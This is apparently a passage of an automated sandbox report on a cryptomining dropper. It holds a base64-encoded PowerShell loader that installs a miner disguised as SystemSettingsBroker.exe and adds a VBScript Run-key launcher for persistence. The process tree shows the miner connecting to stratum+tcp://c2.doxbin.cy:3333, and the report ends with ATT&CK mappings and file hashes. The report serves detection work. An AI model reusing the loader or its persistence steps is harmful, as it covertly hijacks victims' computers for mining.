AHQAcgB5ACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAJABPAHUAdABGAGkAbABlACkAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHcAYwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAfQAKACAAIAAgACAAdABoAHIAbwB3ACAAIgBEAG8AdwBuAGwAbwBhAGQAIABmAGEAaQBsAGUAZAA6ACAAJABVAHIAbAAiAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQB4AHAAYQBuAGQALQBaAGkAcABXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAFAAYQB0AGgALABbAHMAdAByAGkAbgBnAF0AJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAApAAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUABhAHQAaAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAKQApACAAewAKACAAIAAgACAAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBQAGEAdABoACAAJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAfQAKACAAIAAgACAAJABzAHIAYwAgACAAPQAgACgAUgBlAHMAbwBsAHYAZQAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAUABhAHQAaAApAC4AUABhAHQAaAAKACAAIAAgACAAJABkAGUAcwB0ACAAPQAgACgAUgBlAHMAbwBsAHYAZQAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAKQAuAFAAYQB0AGgACgAgACAAIAAgACQAcwBoAGUAbABsACAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ACgAgACAAIAAgACQAegBpAHAAIAAgACAAIAA9ACAAJABzAGgAZQBsAGwALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAcwByAGMAKQAKACAAIAAgACAAJAB0AGEAcgBnAGUAdAAgAD0AIAAkAHMAaABlAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABkAGUAcwB0ACkACgAgACAAIAAgAGkAZgAgACgAJABuAHUAbABsACAALQBlAHEAIAAkAHoAaQBwACkAIAAgACAAIAB7ACAAdABoAHIAbwB3ACAAIgBaAEkAUAAgAG8AcABlAG4AIABmAGEAaQBsAGUAZAA6ACAAJABzAHIAYwAiACAAfQAKACAAIAAgACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAdABhAHIAZwBlAHQAKQAgAHsAIAB0AGgAcgBvAHcAIAAiAEQAZQBzAHQAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUAOgAgACQAZABlAHMAdAAiACAAfQAKACAAIAAgACAAJAB0AGEAcgBnAGUAdAAuAEMAbwBwAHkASABlAHIAZQAoACQAegBpAHAALgBJAHQAZQBtAHMAKAApACwAIAAwAHgAMQA0ACkACgAgACAAIAAgACQAZABlAGEAZABsAGkAbgBlACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBBAGQAZABTAGUAYwBvAG4AZABzACgAMQA1ACkACgAgACAAIAAgAHcAaABpAGwAZQAgACgAKABHAGUAdAAtAEQAYQB0AGUAKQAgAC0AbAB0ACAAJABkAGUAYQBkAGwAaQBuAGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAoAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAZABlAHMAdAAgAC0ARgBvAHIAYwBlACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAB7ACAAYgByAGUAYQBrACAAfQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAMgAwADAACgAgACAAIAAgAH0ACgB9AAoACgBBAHMAcwBlAHIAdAAtAFMAdABhAHIAdAB1AHAARQBuAGEAYgBsAGUAZAAgAC0AUgB1AG4ATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKACQAcgB1AG4AbgBpAG4AZwAgACAAIAA9ACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAAtAFAAcgBvAGMATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAC0AVABhAHIAZwBlAHQAUABhAHQAaAAgACQARQB4AGUAUABhAHQAaAAKACQAZQB4AGUARQB4AGkAcwB0AHMAIAA9ACAAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQARQB4AGUAUABhAHQAaAAKAAoAaQBmACAAKAAtAG4AbwB0ACAAJABlAHgAZQBFAHgAaQBzAHQAcwAgAC0AYQBuAGQAIAAtAG4AbwB0ACAAJAByAHUAbgBuAGkAbgBnACkAIAB7AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABSAGUAYQBkAG0AZQBQAGEAdABoACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBnAHUAYQByAGQALgB2AGIAcwAnACkAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAB9AAoACgAgACAAIAAgAEcAZQB0AC0ARgBpAGwAZQBXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAC0AVQByAGwAIAAkAFUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABaAGkAcABQAGEAdABoAAoAIAAgACAAIABFAHgAcABhAG4AZAAtAFoAaQBwAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAALQBQAGEAdABoACAAJABaAGkAcABQAGEAdABoACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIACgAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABSAGUAYQBkAG0AZQBQAGEAdABoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAE0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAZQBhAGQAbQBlAFAAYQB0AGgAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQARQB4AGUAUABhAHQAaAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAdABoAHIAbwB3ACAAIgByAGUAYQBkAG0AZQAuAG0AZAAgAG0AaQBzAHMAaQBuAGcAIABpAG4AIAB6AGkAcAAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAZgAgAGkAbgAgAEAAKAAkAFoAaQBwAFAAYQB0AGgALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBTAHQAYQByAHQALgBiAGEAdAAnACkALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAJwApACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGYAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAfQAKAH0ACgAKACQAcwB0AGEAcgB0AFYAYgBzACAAPQAgAEAAIgAKAEQAaQBtACAAcwBoACwAIABhAHAAcAAsACAAcgB1AG4ASwBlAHkALAAgAHIAdQBuAFYAYQBsACwAIAB0AGEAcgBnAGUAdABQAGEAdABoACwAIAB0AGEAcgBnAGUAdABEAGkAcgAsACAAbQBpAG4AZQByAEMAbQBkAAoARABpAG0AIAB3AG0AaQAsACAAcAByAG8AYwBzACwAIABmAG8AdQBuAGQALAAgAHAACgBhAHAAcAAgAD0AIAAiACQAQQBwAHAATgBhAG0AZQAiAAoAcgB1AG4ASwBlAHkAIAA9ACAAIgBIAEsAQwBVAFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAKAFMAZQB0ACAAcwBoACAAPQAgAEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAKQAKAHQAYQByAGcAZQB0AEQAaQByACAAPQAgAHMAaAAuAEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABTAHQAcgBpAG4AZwBzACgAIgAlAEEAUABQAEQAQQBUAEEAJQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQAiACkACgB0AGEAcgBnAGUAdABQAGEAdABoACAAPQAgAHQAYQByAGcAZQB0AEQAaQByACAAJgAgACIAXAAiACAAJgAgAGEAcABwACAAJgAgACIALgBlAHgAZQAiAAoAbQBpAG4AZQByAEMAbQBkACAAPQAgACIAIgAiACIAIAAmACAAdABhAHIAZwBlAHQAUABhAHQAaAAgACYAIAAiACIAIgAiACAAJgAgACIAIAAtAC0AdQByAGwAIAAkAFMAdAByAGEAdAB1AG0AVQByAGwAIAAtAC0AdQBzAGUAcgAgACQAVQBzAGUAcgBBAHIAZwAiAAoATwBuACAARQByAHIAbwByACAAUgBlAHMAdQBtAGUAIABOAGUAeAB0AAoAcgB1AG4AVgBhAGwAIAA9ACAAcwBoAC4AUgBlAGcAUgBlAGEAZAAoAHIAdQBuAEsAZQB5ACAAJgAgACIAXAAiACAAJgAgAGEAcABwACkACgBPAG4AIABFAHIAcgBvAHIAIABHAG8AVABvACAAMAAKAEkAZgAgAEwAZQBuACgAcgB1AG4AVgBhAGwAKQAgAD0AIAAwACAAVABoAGUAbgAgAFcAUwBjAHIAaQBwAHQALgBRAHUAaQB0ACAAMAAKAFMAZQB0ACAAdwBtAGkAIAA9ACAARwBlAHQATwBiAGoAZQBjAHQAKAAiAHcAaQBuAG0AZwBtAHQAcwA6AFwAXAAuAFwAcgBvAG8AdABcAGMAaQBtAHYAMgAiACkACgBTAGUAdAAgAHAAcgBvAGMAcwAgAD0AIAB3AG0AaQAuAEUAeABlAGMAUQB1AGUAcgB5ACgAIgBTAEUATABFAEMAVAAgAE4AYQBtAGUALAAgAEUAeABlAGMAdQB0AGEAYgBsAGUAUABhAHQAaAAgAEYAUgBPAE0AIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACAAVwBIAEUAUgBFACAATgBhAG0AZQA9ACcAIgAgACYAIABhAHAAcAAgACYAIAAiAC4AZQB4AGUAJwAiACkACgBmAG8AdQBuAGQAIAA9ACAARgBhAGwAcwBlAAoARgBvAHIAIABFAGEAYwBoACAAcAAgAEkAbgAgAHAAcgBvAGMAcwAKACAAIAAgACAASQBmACAATgBvAHQAIABJAHMATgB1AGwAbAAoAHAALgBFAHgAZQBjAHUAdABhAGIAbABlAFAAYQB0AGgAKQAgAFQAaABlAG4ACgAgACAAIAAgACAAIAAgACAASQBmACAATABDAGEAcwBlACgAcAAuAEUAeABlAGMAdQB0AGEAYgBsAGUAUABhAHQAaAApACAAPQAgAEwAQwBhAHMAZQAoAHQAYQByAGcAZQB0AFAAYQB0AGgAKQAgAFQAaABlAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AdQBuAGQAIAA9ACAAVAByAHUAZQAKACAAIAAgACAAIAAgACAAIABFAG4AZAAgAEkAZgAKACAAIAAgACAARQBuAGQAIABJAGYACgBOAGUAeAB0AAoASQBmACAATgBvAHQAIABmAG8AdQBuAGQAIABUAGgAZQBuAAoAIAAgACAAIABzAGgALgBDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAPQAgAHQAYQByAGcAZQB0AEQAaQByAAoAIAAgACAAIABzAGgALgBSAHUAbgAgAG0AaQBuAGUAcgBDAG0AZAAsACAAMAAsACAARgBhAGwAcwBlAAoARQBuAGQAIABJAGYACgAiAEAACgBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAVABlAHgAdAAoACQAVgBiAHMAUABhAHQAaAAsACAAJABzAHQAYQByAHQAVgBiAHMALAAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUAKQAKAAoAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAAJwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAiACcAIAArACAAJABWAGIAcwBQAGEAdABoACAAKwAgACcAIgAnAAoAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwAIAB9AAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAIAAtAE4AYQBtAGUAIAAkAEEAcABwAE4AYQBtAGUAIAAtAFYAYQBsAHUAZQAgACQAcgB1AG4AVgBhAGwAdQBlACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgBBAHMAcwBlAHIAdAAtAFMAdABhAHIAdAB1AHAARQBuAGEAYgBsAGUAZAAgAC0AUgB1AG4ATgBhAG0AZQAgACQAQQBwAHAATgBhAG0AZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAKAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAVgBiAHMAUABhAHQAaAApACAAewAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgACcAdwBzAGMAcgBpAHAAdAAuAGUAeABlACcAKQAgAHsAIAB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAkAFYAYgBzAFAAYQB0AGgAIAB9ACAAZQBsAHMAZQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAFYAYgBzAFAAYQB0AGgAIAB9AAoAfQA=
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3852
  - - C:\Windows\system32\wscript.exe
      "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Reads the TCP/IP host and domain name from the registry
      PID:2600
    - - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
        5⤵
        
        PID:1524
- C:\Users\Admin\AppData\Local\Temp\bndDCAF.tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\bndDCAF.tmp.exe"
  2⤵
  - Executes dropped EXE
  PID:1172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3d2eacf29ec6bc70e0fad1f074b16c862ecfb21b609a4bfe3d695a98b0df9369
MD5 b189d8d73ba950ec1a1562aa98402d1c
SHA1 b091e1155179bb1b3f53ee89c80d4d529e890e5d
SHA512 5bd2f66dba5add2b60ec037f927d335abc31189c7d5518963b8c8d3e90a93a59fe2c160d9e6f361fafffa8c7c3eb4a681867282616317e416cb2a8d175f41ebb
TLSH
T11281D0313275F0D4C8567F07292819D463BF4386EA58AF4CB25C621ED92751BDB121F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 61b789b8c97621eeddf68946cc4cabe62cb3726cf8f24fb91cfd4e3aeb6d8c3e
MD5 efcb220e4c8f39eb8c8bba5973a40648
SHA1 8f102b1ab73a60732a0e4d182c5234ca645978ba
SHA512 57dcc4c31b52f1cd6181aa4cb97157bb1d542fd7b3ac680dc37cad48d7907a9368fd194e6a01b8669711776d6fe2c879c6c202ea380f6907a82479f2d9d6b886
TLSH
T1F821C937B38CCA20DC86053A929DAC1172B283C7C09ECE9F7EC0D200A0AF684CB79190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ogx2f455.2ye.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogx2f455.2ye.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

bndDCAF.tmp.exe

Path C:\Users\Admin\AppData\Local\Temp\bndDCAF.tmp.exe
Size 19KB
SHA256 d56611d4221297ab6445b658092fcdc09317483668014db276d0a845856be980
MD5 6b9ba74cda0ede04c064e990c0984aa6
SHA1 f8f3c2fe16186953534eba53d161a24d2e7b7ba8
SHA512 d1c4426bb3c71593357a581dec1ec447cacb21f4f87ec92230740ed199ddbcd65be99401121f8091e0b642b71a84164c7039e2f30b7c3b9ecd04b0227c313505
SSDEEP 384:G9zUSYv/csysHo/oPMNPE9ltM3Mmmz83935BJ:6z0v/hysHo/09ltYpn93/J
TLSH
T10E923C5BF74604D9E176F37C82F75209E272B90A073297CF03D1A06A0F2A3D0A97B851
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

start.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\start.vbs
Size 1KB
SHA256 9450b3f67e20649e55d3feefc21651c3683095252c47f4bd8e69369a063fa997
MD5 883743541bf47264deebe821a5f6b9a0
SHA1 91e06261e130f7aed7c160c2e005c3eb82f67bc8
SHA512 fa3bf233aa05680d169a013cf7f5e929cdf23cbd5aee0d59015c7b768fd99d8dcad4489aeb14df49b34b379f5154c9742e2b0c770a2c0864bec33e92edc01f20
TLSH
T1C4412840ABED0148B3F72B859F78A5684B67BD9A9A76C60C0498194D1BB3B008825F33
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1960-29-0x0000025669D60000-0x0000025669D70000-memory.dmp

Download

memory/1960-28-0x0000025669D60000-0x0000025669D70000-memory.dmp

Download

memory/1960-2-0x0000025669D60000-0x0000025669D70000-memory.dmp

Download

memory/1960-18-0x000002566C610000-0x000002566C7D2000-memory.dmp

Download

memory/1960-14-0x000002566BDE0000-0x000002566BE02000-memory.dmp

Download

memory/1960-1-0x0000025669D60000-0x0000025669D70000-memory.dmp

Download

memory/3852-26-0x00000238FDFE0000-0x00000238FE00A000-memory.dmp

Download

memory/3852-27-0x00000238FDFE0000-0x00000238FE004000-memory.dmp

Download

memory/3852-31-0x00000238FE020000-0x00000238FE032000-memory.dmp

Download

memory/3852-32-0x00000238FE010000-0x00000238FE01A000-memory.dmp

Download